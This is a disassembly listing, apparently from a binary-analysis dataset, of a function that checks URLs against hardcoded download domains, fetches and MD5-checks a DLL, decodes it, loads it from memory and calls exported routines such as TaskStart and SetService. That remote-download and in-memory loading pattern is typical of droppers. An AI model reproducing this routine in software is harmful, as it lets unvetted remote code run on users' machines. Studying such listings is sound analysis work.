Function at 0x41841f
Capabilities:
Check if file exists

Disassembly:
push 0x1e8
mov eax, 0x52a183
call fcn.0043ca9a
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov ebx, ecx
mov dword [ebp - 0x164], eax
call fcn.00418039
xor edi, edi
push edi
push str.http:__downsrf.eastday.com_
mov ecx, esi
mov dword [ebp - 0x160], edi
call fcn.0040bc45
cmp eax, 0xffffffff
jne 0x418491
push edi
push str.http:__down.znyshurufa.com_
mov ecx, esi
call fcn.0040bc45
cmp eax, 0xffffffff
jne 0x418491
push edi
push str.http:__down.sgshurufa.com_
mov ecx, esi
call fcn.0040bc45
cmp eax, 0xffffffff
jne 0x418491
push edi
push str.znyshurufa.com
mov ecx, esi
call fcn.0040bc45
cmp eax, 0xffffffff
je 0x41849b
mov dword [ebp - 0x160], 1
push edi
push str.https:__downsrf.eastday.com_
mov ecx, esi
call fcn.0040bc45
cmp eax, 0xffffffff
jne 0x4184e3
push edi
push str.https:__down.znyshurufa.com_
mov ecx, esi
call fcn.0040bc45
cmp eax, 0xffffffff
jne 0x4184e3
push edi
push str.https:__down.sgshurufa.com_
mov ecx, esi
call fcn.0040bc45
cmp eax, 0xffffffff
jne 0x4184e3
push edi
push str.znshuru.com
mov ecx, esi
call fcn.0040bc45
cmp eax, 0xffffffff
je 0x4184ed
mov dword [ebp - 0x160], 1
cmp dword [ebp - 0x160], edi
jne 0x418505
push str.LoadMemDll_Url_Filter_Failed___
call fcn.0040e20b
pop ecx
jmp 0x4185ae
push 0xffffffffffffffff
push edi
lea ecx, [ebx + 4]
push esi
call fcn.004011a0
push 0xffffffffffffffff
push edi
push dword [ebp - 0x164]
lea ecx, [ebx + 0x20]
call fcn.004011a0
lea eax, [ebx + 4]
push eax
lea eax, [ebp - 0x38]
push eax
mov ecx, ebx
call fcn.004182b9
mov eax, dword [ebp - 0x164]
mov eax, dword [eax + 0x14]
cmp eax, edi
mov dword [ebp - 4], edi
jbe 0x418711
cmp dword [ebp - 0x20], 8
mov eax, dword [ebp - 0x34]
jae 0x418551
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4185c7
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.0040c537
sub esp, 0x14
lea eax, [ebp - 0x38]
mov ecx, esp
mov dword [ebp - 0x160], esp
push eax
mov byte [ebp - 4], 1
call fcn.00401e50
lea eax, [ebp - 0x54]
push eax
mov ecx, ebx
call fcn.00417d9b
test al, al
jne 0x4185b8
push str.DownDllToLocal_1_dll_file_Failed___
call fcn.0040e20b
pop ecx
push edi
push 1
lea ecx, [ebp - 0x54]
call fcn.00401330
push edi
push 1
lea ecx, [ebp - 0x38]
call fcn.00401330
xor al, al
call fcn.0043cb1d
ret 8
push edi
push 1
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0
call fcn.00401330
push dword [ebp - 0x164]
lea eax, [ebp - 0x38]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x160], esp
push eax
call fcn.00401e50
mov ecx, ebx
call fcn.00418398
test al, al
jne 0x418665
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.0040c537
sub esp, 0x14
lea eax, [ebp - 0x38]
mov ecx, esp
mov dword [ebp - 0x160], esp
push eax
mov byte [ebp - 4], 2
call fcn.00401e50
lea eax, [ebp - 0x54]
push eax
mov ecx, ebx
call fcn.00417d9b
test al, al
jne 0x418627
push str.DownDllToLocal_2_dll_file_Failed___
jmp 0x418592
push dword [ebp - 0x164]
lea eax, [ebp - 0x38]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x160], esp
push eax
call fcn.00401e50
mov ecx, ebx
call fcn.00418398
test al, al
jne 0x418656
push str.CheckFileMD5_file_Failed___
jmp 0x418592
push edi
push 1
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0
call fcn.00401330
cmp dword [ebp - 0x20], 8
mov eax, dword [ebp - 0x34]
jae 0x418671
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x418711
cmp dword [ebp - 0x20], 8
mov eax, dword [ebp - 0x34]
jae 0x41868c
lea eax, [ebp - 0x34]
push 1
push 0x40
push 0x25
push eax
lea ecx, [ebp - 0x1f4]
call fcn.00416ae9
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x1f4]
mov byte [ebp - 4], 3
call fcn.00415e1b
mov esi, dword [eax + 8]
add esi, dword [eax]
lea eax, [esi + 0xa]
push eax
mov dword [ebp - 0x164], esi
call fcn.0041c5f7
lea ecx, [esi + 1]
push ecx
push edi
push eax
mov dword [ebx + 0x4c], eax
call fcn.0043d050
add esp, 0x10
push edi
push edi
lea ecx, [ebp - 0x1f4]
call fcn.004167eb
mov eax, dword [ebx + 0x4c]
push esi
push 0xffffffffffffffff
push eax
lea ecx, [ebp - 0x1f4]
call fcn.004169da
lea ecx, [ebp - 0x1f4]
call fcn.00416843
lea ecx, [ebp - 0x1f4]
mov byte [ebp - 4], 0
call fcn.004167d1
jmp 0x41872f
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x160], esp
push esi
call fcn.00401e00
mov ecx, ebx
call fcn.00417ee0
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], edi
je 0x4185a3
mov esi, 0x5303d8
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0x15c]
push eax
movsb byte es:[edi], byte [esi]
call fcn.0041535d
push 8
xor edi, edi
lea eax, [ebp - 0x5c]
push edi
push eax
call fcn.0043d050
mov eax, dword [ebx + 0x4c]
mov esi, dword [ebp - 0x164]
push esi
push eax
push eax
lea eax, [ebp - 0x15c]
push eax
call fcn.00415d0e
add esp, 0x24
lea eax, [ebp - 0x168]
push eax
mov eax, dword [ebx + 0x4c]
add esi, 0xfffffff4
push esi
add eax, 0xc
push eax
call fcn.0050adb0
cmp eax, edi
je 0x4185a3
cmp byte [eax], 0x4d
je 0x4187ad
cmp byte [eax + 1], 0x5a
jne 0x4185a3
push eax
call fcn.00416f5f
cmp eax, edi
pop ecx
mov dword [ebx], eax
je 0x41880e
push str.TaskStart
push eax
call fcn.00416e59
push str.TaskFree
push dword [ebx]
mov dword [ebx + 0x3c], eax
call fcn.00416e59
push str.SetService
push dword [ebx]
mov dword [ebx + 0x40], eax
call fcn.00416e59
push str.SetParameter
push dword [ebx]
mov dword [ebx + 0x44], eax
call fcn.00416e59
mov dword [ebx + 0x48], eax
mov eax, dword [ebx + 0x3c]
add esp, 0x20
cmp eax, edi
je 0x418820
cmp dword [ebx + 0x40], edi
je 0x418820
mov ecx, ebx
call fcn.00417d20
call dword [ebx + 0x3c]
push edi
push 1
lea ecx, [ebp - 0x38]
call fcn.00401330
mov al, 1
jmp 0x4185b0
push dword [ebx + 0x40]
push eax
push str.FreeMemDll_taskStart___X
call fcn.0040e20b
add esp, 0xc
mov ecx, ebx
call fcn.00418039
jmp 0x4185a3